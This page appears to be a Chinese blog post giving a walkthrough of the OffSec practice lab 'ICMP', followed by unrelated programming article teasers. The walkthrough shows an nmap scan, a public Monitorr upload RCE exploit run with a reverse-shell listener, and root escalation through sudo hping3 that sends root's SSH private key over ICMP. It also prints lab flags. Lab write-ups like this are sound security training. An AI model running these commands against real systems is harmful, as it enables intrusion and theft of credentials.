当前位置：首页 > news >正文

[Offsec Lab] ICMP Monitorr-RCE+hping3权限提升

news 2025/12/23 21:00:31

信息收集

IP Address	Opening Ports
192.168.52.218	TCP:22,80

$ nmap -p- 192.168.52.218 --min-rate 1000 -sC -sV -Pn

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 de:b5:23:89:bb:9f:d4:1a:b5:04:53:d0:b7:5c:b0:3f (RSA)
|   256 16:09:14:ea:b9:fa:17:e9:45:39:5e:3b:b4:fd:11:0a (ECDSA)
|_  256 9f:66:5e:71:b9:12:5d:ed:70:5a:4f:5a:8d:0d:65:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-title:             Monitorr            | Monitorr        
|_Requested resource was http://192.168.52.218/mon/
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Monitorr-RCE

$ searchsploit Monitorr -w

http://192.168.52.218/mon/assets/php/upload.php

$ python3 /usr/share/exploitdb/exploits/php/webapps/48980.py http://192.168.52.218/mon 192.168.49.52 10077

fox目录下存在Local.txt

Local.txt

4d2ed33d3467974721246fd088ec495c

www-data -> fox

www-data@icmp:/home/fox$ cat reminder

www-data@icmp:/home/fox$ cat ./devel/crypt.php

BUHNIJMONIBUVCYTTYVGBUHJNI

权限提升-hping3

$ sudo -l

https://gtfobins.github.io/gtfobins/hping3/

如果你尝试在kali上运行可能会触发内存锁定警告,所以保险的方法就是监听和执行应均在靶机上执行…

$ sudo hping3 --icmp 127.0.0.1 --listen signature --safe

$ sudo hping3 --icmp 127.0.0.1 --sign signature --file /root/.ssh/id_rsa -d 4000 -c 2

$ chmod 600 id_rsa

$ ssh -i ./id_rsa root@192.168.58.218

proof.txt

407e47c8f6e703f101254a04448f1014

[Offsec Lab] ICMP Monitorr-RCE+hping3权限提升

信息收集 IP AddressOpening Ports192.168.52.218TCP:22,80 $ nmap -p- 192.168.52.218 --min-rate 1000 -sC -sV -Pn PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 de:b5:23:89:bb:9f:d4:1…...

编程日记 2024/10/8 2:35:08

Studying-多线程学习Part4 - 异步并发——async future、packaged_task、promise

异步并发——async future packaged_task promise 1.async、future 是C11引入的一个函数模版，用于异步执行一个函数，并返回一个future对象，表示异步操作的结果。使用 async 可以方便地进行异步编程，避免了手动创建线程和管理线程…...

编程日记 2024/10/8 2:33:05

【Java基础】用Scanner类获取控制台输入

目录 Scanner类是什么导入并创建读取一个数读取字符串读取一行读取直到空白字符为止读取多个数直到^z读取一个字符 Scanner类是什么在Java中，Scanner 是一个非常有用的类，用于从各种输入源（如键盘、文件或其他输入流）读取数据。…...

编程日记 2024/10/8 2:32:04

微服务seata解析部署使用全流程

官网地址： Seata 是什么？ | Apache Seata 1、Seata术语用来管理分布式事务，由阿里巴巴出品。【1、TC (Transaction Coordinator) - 事务协调者】用来维护事务的，包括主事务和分支事务。【2、TM (Transaction Manager) - …...

编程日记 2024/10/8 2:31:02

Linux性能调优技巧

目录前言1. CPU性能优化1.1 调整CPU调度策略1.2 合理分配多核处理 2. 内存性能优化2.1 调整内存分配策略2.2 缓存和分页优化 3. 磁盘I/O性能优化3.1 使用合适的I/O调度器3.2 磁盘分区和文件系统优化 4. 网络性能优化4.1 优化网络参数4.2 调整网络拥塞控制算法 5. 系统监控与优…...

编程日记 2024/10/8 2:30:01

python 实现sha1算法

sha1算法介绍 SHA-1（Secure Hash Algorithm 1，安全散列算法1）是一种密码散列函数，由美国国家安全局（NSA）设计，并由美国国家标准技术研究所（NIST）发布为联邦数据处理标准…...

编程日记 2024/10/8 2:28:00

ejb-ref元素

ejb-ref 是用于在 Java EE (现在称为 Jakarta EE) 中引用 Enterprise JavaBeans (EJB) 的一个元素，主要用于定义和配置 SLEE (Service Logic Execution Environment) 组件中的 EJB 依赖关系。通过这个引用，SBB (Service Building Block) 可以轻松地访问和…...

编程日记 2024/10/8 2:25:57

Perl 子程序（函数）

Perl 子程序（函数） Perl 是一种高级、解释型、动态编程语言，广泛用于CGI脚本、系统管理、网络编程、 finance, bioinformatics, 以及其他领域。在Perl中，子程序（也称为函数）是组织代码和重用代码块的重要方…...

编程日记 2024/10/8 2:23:55

ElasticSearch 备考 -- Snapshot Restore

一、题目备份集群下的索引 task，存储快照名称为 snapshot_1 二、思考这个涉及的是集群的备份，主要是通过创建快照，涉及到以下2步骤 Setp1：注册一个备份 snapshot repository Setp2：创建 snapshot 可以通过两种方…...

编程日记 2024/10/8 2:22:54

【Linux】进程替换、命令行参数及环境变量（超详解）

目录进程替换替换函数的含义命令行参数环境变量 PATH 进程替换我们先看代码： 1 #include<stdio.h>2 #include<unistd.h>3 int main()4 {5 printf("process...begin!\n");6 7 execl("/usr/bin/ls","ls"…...

编程日记 2024/10/8 2:20:53

MySQL事务日志—redo日志介绍

MySQL事务日志—redo日志事务有4种特性： 原子性、一致性、隔离性和持久性。那么事务的四种特性到底是基于什么机制实现? 事务的原子性、一致性由事务的 undo 日志事务的隔离性由锁机制和MVCC实现。事务的持久性由redo 日志来保证。两类日志概述：…...

编程日记 2024/10/8 2:18:51

告别音乐小白！字节跳动AI音乐创作工具，让你一键变作曲家！

还在羡慕别人能创作动听的音乐？五音不全的你，也梦想着谱写属于自己的乐章？现在，机会来了！字节跳动推出了一款AI音乐创作工具——抖音推出的海绵音乐，它能让你轻松一键创作音乐，即使是“音乐小白…...

编程日记 2024/10/8 2:16:48

空心正方形图案

KiKi学习了循环，BoBo老师给他出了一系列打印图案的练习，该任务是打印用“*”组成的“空心”正方形图案。输入描述： 多组输入，一个整数(3~20)，表示输出的行数，也表示组成正方形边的“ * ”的数量。输出描述…...

编程日记 2024/10/8 2:14:45

【EXCEL数据处理】000020 案例保姆级教程，附多个操作案例。EXCEL使用表格。

前言：哈喽，大家好，今天给大家分享一篇文章！创作不易，如果能帮助到大家或者给大家一些灵感和启发，欢迎收藏关注哦 💕 目录【EXCEL数据处理】000020 案例保姆级教程，附多个操作案例。…...

编程日记 2024/10/8 2:13:44

虾皮Shopee大数据面试题及参考答案

Cube 表性能优化，还有其他优化的方法吗？ Cube 表性能优化可以从多个方面入手。一方面，可以优化数据存储格式。选择合适的存储格式能够减少存储空间占用，提高数据读取速度。例如，Parquet 格式是一种高效的列式存储格式，它可以按列进行数据压缩，大大减少磁盘 I/O 和内存占…...

编程日记 2024/10/8 2:12:42

重学SpringBoot3-集成Redis（六）之消息队列

更多SpringBoot3内容请关注我的专栏：《SpringBoot3》期待您的点赞👍收藏⭐评论✍ 重学SpringBoot3-集成Redis（六）之消息队列 1. 什么是发布/订阅（Pub/Sub）？2. 场景应用3. Spring Boot 3 整合 R…...

编程日记 2024/10/8 2:10:40

LeetCode 134 Gas Station 解题思路和python代码

题目： There are n gas stations along a circular route, where the amount of gas at the ith station is gas[i]. You have a car with an unlimited gas tank and it costs cost[i] of gas to travel from the ith station to its next (i 1)th station. You …...

编程日记 2024/10/8 2:09:39

服务攻防

171、一次完整的 HTTP 请求过程域名解析 --> 发起 TCP 的 3 次握手 --> 建立 TCP 连接后发起 http 请求 --> 服务器响应 http 请求，浏览器得到 html 代码 --> 浏览器解析 html 代码，并请求 html 代码中的资源（如 js、 css…...

编程日记 2024/10/8 2:07:37

leetcode 力扣算法题快慢指针双指针 19.删除链表的倒数第n个结点

删除链表的倒数第N个结点题目要求题目示例解题思路从题目中的已知出发思考寻找目标结点条件转换核心思路需要注意的点改进建议完整代码提交结果题目要求给你一个链表，删除链表的倒数第n个结点，并且返回链表的头结点。题目示例示例 1&#xff1…...

编程日记 2024/10/8 2:04:34

网络五层模型：物理层、数据链路层、网络层、传输层、应用层，分别解决了什么问题？

网络五层模型（也称为TCP/IP模型的简化版本）将网络通信过程分为五个层次，每一层都解决了特定的问题。以下是每一层的详细解释及其解决的问题： 1. 物理层（Physical Layer） 解决的问题：数据的物理…...

编程日记 2024/10/8 1:58:21

铭豹扩展坞 USB转网口突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别，但在其他电脑上正常工作时，问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤，帮助你快速找到故障原因：背景：一个M-pard（铭豹）扩展坞的网卡突然无法识别了，扩展出来的三个USB接口正常。…...

编程新知 2025/12/23 13:41:15

练习（含atoi的模拟实现,自定义类型等练习）

一、结构体大小的计算及位段 （结构体大小计算及位段详解请看：自定义类型：结构体进阶-CSDN博客） 1.在32位系统环境，编译选项为4字节对齐，那么sizeof(A)和sizeof(B)是多少？ #pragma pack(4)st…...

编程新知 2025/12/18 4:21:19

java调用dll出现unsatisfiedLinkError以及JNA和JNI的区别

UnsatisfiedLinkError 在对接硬件设备中，我们会遇到使用 java 调用 dll文件的情况，此时大概率出现UnsatisfiedLinkError链接错误，原因可能有如下几种类名错误包名错误方法名参数错误使用 JNI 协议调用，结果 dll 未实现 JNI 协…...

编程新知 2025/10/6 16:38:04

JVM垃圾回收机制全解析

Java虚拟机（JVM）中的垃圾收集器（Garbage Collector，简称GC）是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象，从而释放内存空间，避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...

编程新知 2025/11/30 16:55:15

Module Federation 和 Native Federation 的比较

前言 Module Federation 是 Webpack 5 引入的微前端架构方案，允许不同独立构建的应用在运行时动态共享模块。 Native Federation 是 Angular 官方基于 Module Federation 理念实现的专为 Angular 优化的微前端方案。概念解析 Module Federation (模块联邦) Modul…...

编程新知 2025/12/21 3:41:09

Axios请求超时重发机制

Axios 超时重新请求实现方案在 Axios 中实现超时重新请求可以通过以下几种方式： 1. 使用拦截器实现自动重试 import axios from axios;// 创建axios实例 const instance axios.create();// 设置超时时间 instance.defaults.timeout 5000;// 最大重试次数 cons…...

编程新知 2025/10/13 2:26:14

6.9-QT模拟计算器

源码: 头文件: widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QMouseEvent>QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACEclass Widget : public QWidget {Q_OBJECTpublic:Widget(QWidget *parent nullptr);…...

编程新知 2025/12/7 8:17:50